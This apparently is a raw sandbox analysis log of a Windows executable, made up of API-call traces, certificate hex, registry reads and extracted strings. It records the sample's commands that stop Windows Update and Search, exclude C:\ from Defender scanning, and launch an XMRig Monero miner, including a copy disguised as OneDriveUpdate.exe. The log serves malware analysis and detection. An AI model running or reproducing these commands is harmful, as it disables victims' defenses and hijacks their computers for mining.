4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9e250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlmgYJKoZIhvcNAQcCoIIlizCCJYcCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259a06092a864886f70d010702a082258b30822587020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420aec1e0c604a2cb929bd121f347aa51f106f5fabbb03c90af82e77a01032f9574a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9e250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCD1Ic9VXSKRHe3vJHTviA7n2oanD+d84ekkYUUIWGAvN6CCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420f521cf555d22911dedef2474ef880ee7da86a70fe77ce1e92461450858602f37a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"}30:Ta8d,Found string "RepositoryUrl!https://github.com/dotnet/runtime" (Indicator: "github.com"; Source: "00000000-00001548.00000000.239967.80F30000.00000002.mdmp, 00000000-00001548.00000000.239967.82AE0000.00000002.mdmp, 00000000-00001548.00000000.239967.82C10000.00000002.mdmp, 00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000000.239967.82EB0000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.82C60000.00000002.mdmp, 00000000-00001548.00000002.243806.80F20000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp, 00000000-00001548.00000002.243806.82C20000.00000002.mdmp, 00000000-00001548.00000002.243806.82C40000.00000002.mdmp, 00000000-00001548.00000002.243806.82C50000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp, 00000000-00001548.00000002.243806.83410000.00000002.mdmp") Found string "https://github.com/mono/linker/issues/1187 Trimmer thinks this implements IXmlSerializable.GetSchema() and warns about not matching attributes." (Indicator: "github.com"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found string "JustificationvThe only callsite is marked with DynamicallyAccessedMembers. Workaround for https://github.com/mono/linker/issues/1981" (Indicator: "github.com"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found string "JustificationXWorkarounds https://github.com/mono/linker/issues/1416. All usages are marked as unsafe." (Indicator: "github.com"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found string "JustificationXWorkarounds https://github.com/mono/linker/issues/1906. All usages are marked as unsafe." (Indicator: "github.com"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found string "_type is annotated as preserve All members, so any Types returned from GetInterfaces should be preserved as well once https://github.com/mono/linker/issues/1731 is fixed." (Indicator: "github.com"; Source: "00000000-00001548.00000001.241886.82C60000.00000002.mdmp") Found string "Calling _type.Assembly.GetType on a non-assembly qualified type will still work. See https://github.com/mono/linker/issues/1895v" (Indicator: "github.com"; Source: "00000000-00001548.00000001.241886.82C60000.00000002.mdmp")31:T2321,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001548) "net1.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00009196) "net1.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002296) "net1.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001200) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004556) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004556) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938cc5afd7f000080000000000000000000000000000000205a367a8c0200001033fe5cfd7f0000000000000000000000005f5cfd7f0000c0d64b2d8e0000001041c95afd7f000060f709608c02000080d64b2d8e000000000000000000000000000000000000000100000000000000b840c95afd7f00000600000000000000010000000000000000005f5cfd7f00003b4d885afd7f0000000000000000000038db4b2d8e0000000000000000000000d02a715cfd7f000010b3d75cfd7f0000e8f8c85afd7f000010b3d75cfd7f0000d02a715cfd7f00000d000000fd7f00000d00000000000000a0f6c75cfd7f0000f5876c5cfd7f0000d02a715c (UID: 00000000-00004556) "xmrig.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000098e37101000000001800000000000000c8f3035573980000bfd0950100000000020000000000000030e3710100000000f05694010000000010d09501000000001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000f85afd7f0000b3010ea060250000e046f85afd7f0000c0d09501000000009806f95afd7f0000e07c9501000000000000425afd7f00000000000000000000e046f85afd7f00000300000000000000f385fb5cfd7f00006e47f85afd7f00002766fb5cfd7f000070e37101 (UID: 00000000-00003544) "xmrig.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003544) "xmrig.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003544) "xmrig.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938cc5afd7f00008000000000000000000000000000000060319e01000000001033fe5cfd7f0000000000000000000000005f5cfd7f000030cf7101000000001041c95afd7f0000904d9e0100000000f0ce710100000000000000000000000000000000000000000100000000000000b840c95afd7f00000600000000000000010000000000000000005f5cfd7f00003b4d885afd7f00000000000000000000a8d37101000000000000000000000000d02a715cfd7f000010b3d75cfd7f0000e8f8c85afd7f000010b3d75cfd7f0000d02a715cfd7f00000d000000fd7f00000d00000000000000a0f6c75cfd7f0000f5876c5cfd7f0000d02a715c (UID: 00000000-00003544) "xmrig.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003544)32:T5c0,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "net1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "xmrig.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "xmrig.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "OneDriveUpdate.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")33:T4db,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00004556-00000C17-2768860888 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00004556-00000C17-2769454575 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004556-00000C17-2769662913 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004556-00000C17-2770984409 "powershell.exe" queries volume information of "C:\" at 00000000-00004556-00000C17-2771426868 "powershell.exe" queries volume information of "C:\share" at 00000000-00004556-00000C17-2771428745 "powershell.exe" queries volume information of "C:\share" at 00000000-00004556-00000C17-2771545566 "xmrig.exe" queries volume information of "C:\bin\xmrig.exe" at 00000000-00003544-00000C17-277695838634:T57f,Found string "antGetProcessStartInfo" (Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found string "antSetProcessStartInfo" (Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found string "get_UseShellExecuteNotSupported" (Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found string "k__BackingField" (Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found string "get_UseShellExecute" (Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found string "set_UseShellExecute" (Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp, 00000000-00001548.00000002.243806.B8C00000.00000004.mdmp") Found string "get_CantGetProcessStartInfo" (Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found string "get_CantSetProcessStartInfo" (Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp")35:T479,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "CreateProcessW" with parameter ""net" stop wuauserv" - (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "CreateProcessW" with parameter ""net" stop WSearch" - (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "CreateProcessW" with parameter ""net" stop SysMain" - (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "CreateProcessW" with parameter ""powershell" -Command "Add-MpPreference -ExclusionPath 'C:\'"" - (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "CreateProcessW" with parameter ""C:\bin\xmrig.exe" -o sg.moneroocean.stream:10001 -u 43daUCbEXQUYkoayd4LxQBTVZCHrSXa8rjRivMYd2Gu3ZBe2PuoTzQ3U6SQwWuyAHsSm9paJPMzew" - (UID: 00000000-00001548) "xmrig.exe" called "CreateProcessW" with parameter ""%LOCALAPPDATA%\Microsoft\OneDrive\Update\OneDriveUpdate.exe" -o sg.moneroocean.stream:10001 -u 43daUCbEXQUYkoayd" - (UID: 00000000-00003544)36:T5c57,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter C:\advapi32.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter C:\kernel32.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter C:\ntdll.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter icu.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter C:\user32.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter C:\ole32.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter C:\BCrypt.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter BCrypt.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter C:\shell32.dll (UID: 00000000-00001548) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001548) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00009196) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00009196) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00009196) "net1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00009196) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002296) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002296) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002296) "net1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002296) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001200) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001200) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001200) "net1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00004556) 